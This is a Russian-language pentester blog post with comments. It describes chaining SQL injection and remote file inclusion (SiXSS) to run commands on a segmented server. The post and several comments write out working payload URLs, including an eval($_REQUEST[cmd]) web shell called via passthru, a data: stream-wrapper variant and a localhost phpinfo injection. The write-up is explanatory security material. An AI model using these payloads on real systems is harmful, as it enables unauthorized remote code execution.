RFI over SQL Injection/Cross-Site Scripting

Забавная атака была продемонстрирована при последнем пентесте. Хороший пример жизненного применения Cross-Site Scripting. Ситуация выглядела следующим образом:

- Пользовательский сегмент, из которого работает атакующий (я в его роли);
- Технологическая сеть, трафик из которой жестко режется;
- Уязвимое Web-приложение к Remote File Including (RFI), расположенное в технологической сети;
- Уязвимое Web-приложение к SQL-инъекции, аналогично дислоцирующееся в технологическом сегменте сети.

Сама по себе SQL-инъекция не позволяла реализовать какие-либо полезные угрозы для развития атаки (вот она страшная сторона минимизации привилегий!). Воспользоваться уязвимостью RFI тоже не удалось, потому, как исходящий трафик из технологической сети жестко резался в пользовательский сегмент и во внешний мир. Для того, чтобы проэксплуатировать уязвимость RFI, была воссоздана приблизительно следующая цепочка:

http://<уязвимое_приложение_к_RFI>/?param=http://<уязвимое_приложение_к_SQLi>/?param=1+union+select+'<?eval($_request[cmd]);?>'&cmd=passthru('ls');

Т.е., по отдельности все три уязвимости были бесполезными. И лишь объединившись для единой благой цели, позволили реализовать угрозу ИБ – выполнение команд на сервере:)


В общем-то, ничего сверхъестественного, но мне подобная атака показалась очень даже забавной...

18 комментариев :

  1. Один раз тоже такое приходилось проделывать :)

    ОтветитьУдалить
  2. И правда гут :) Такая уязвимость называется SiXSS, если я не ошибаюсь, когда SQLi используется не ради SQL, а ради сообщения об ошибке.

    Не понятно только где были "все три уязвимости", вижу только две.

    ОтветитьУдалить
  3. to Touzoku:
    >> когда SQLi используется не ради SQL, а ради сообщения об ошибке

    нет, здесь SQL Injection даже эксплуатировалась....:) RFI<->SQLi<->XSS

    ОтветитьУдалить
  4. >> уязвимость называется SiXSS
    верно! XSS over SQLi = SiXSS

    ОтветитьУдалить
  5. А для RFI врапперы заюзать не удавалось?

    ОтветитьУдалить
  6. Кстати, в копилку методов работы с инъекциями: http://qwazar.ru/?p=7 .

    ОтветитьУдалить
  7. Красивое решение. Подобное является украшением отчётов по пентестам.

    ОтветитьУдалить
  8. to Qwazar:
    хех)) круто! надо будет поковырять твою находку....
    ЗЫ: наконец-то у тебя заработал блог... а то я никак не мог сообразить. вроде ссылаешься на себя, а там либо доступ через квест - взломай по ссылке и получи инвайт к блогу, либо действительно не работает:))

    to Pento:
    ну, есть немного;)

    ОтветитьУдалить
  9. Выглядит красиво, но сразу вопрос

    1)Суть XSS в примере заключается в том, что PHP код в GET запросе не режется на обоих серверах?

    ОтветитьУдалить
  10. to GERTY9000:

    Суть XSS в примере заключается в возможности его проведения на сервере XSS_NAME (в примере на картинке). Нужно учитывать, что в примере используется классическая техника SQL-инъекции, которая возвращает запрос в страницу. С этого момента уже применяется техника SiXSS (http://www.inattack.ru/article/535.html). Это позволяет закодировать до не узнаваемости XSS, что обязательно будет пропущено фильтром (например, функцией htmlspecialchars() в php). И само собой, для эксплуатации RFI нам нужен не XSS, а PHP код. Меняем, на выходе получаем возможность выполнения команд на сервере.

    Стоит также добавить, что начиная с PHP версии 5.2.0 доступен замечательный stream wrapper Data (http://ru2.php.net/wrappers.data), с которым все выглядит гораздо проще:

    http://RFI_NAME/?param=data:,php-код&cmd=команда

    ЗЫ: странно, мой ответ анонимному пользователю пропал...хм. в моем случае, пхп был версией младше, чем 5.2.0, потому и пришлось так изворачиваться.

    ОтветитьУдалить
  11. аналогичный случай RFI через XSS на localhost:

    main.php?page=&loc=http://127.0.0.1/somewhere/foo.php?xss=<?php phpinfo();?>&bar=

    ОтветитьУдалить
  12. Спасибо, красиво все выглядит и понятно... чето самому в голову подобное не приходило)
    Решил вот на практике закрепить, создал 2 файла, в 1 include($_GET['t']); а во 2 echo $_GET['xss'];
    пробуем исполнить пхп
    http://127.0.0.1/1.php?t=http://127.0.0.1/2.php?xss=
    в ответ получаю
    Parse error: syntax error, unexpected $end in http://127.0.0.1/2.php?xss= on line 1
    Не совсем понятно почему так ? ведь должен был исполнится пхп ?

    ОтветитьУдалить
  13. хотя по идее он выполнился но почемуто не так как нужно

    ОтветитьУдалить
  14. >> syntax error, unexpected $end

    у Вас незакрытая конструкция в php-файле "}"

    ОтветитьУдалить
  15. > у Вас незакрытая конструкция в php-файле "}"
    у меня ее нет изначально, я неиспользовал подобные конструкции в подопытных скриптах.

    ОтветитьУдалить
  16. C:\Temp>cat 1.php
    <? if (1){ print "1"; ?>
    C:\Temp>php 1.php

    Parse error: syntax error, unexpected $end in C:\Temp\1.php on line 1

    либо, кривой copy/paste (бывает такое)

    ОтветитьУдалить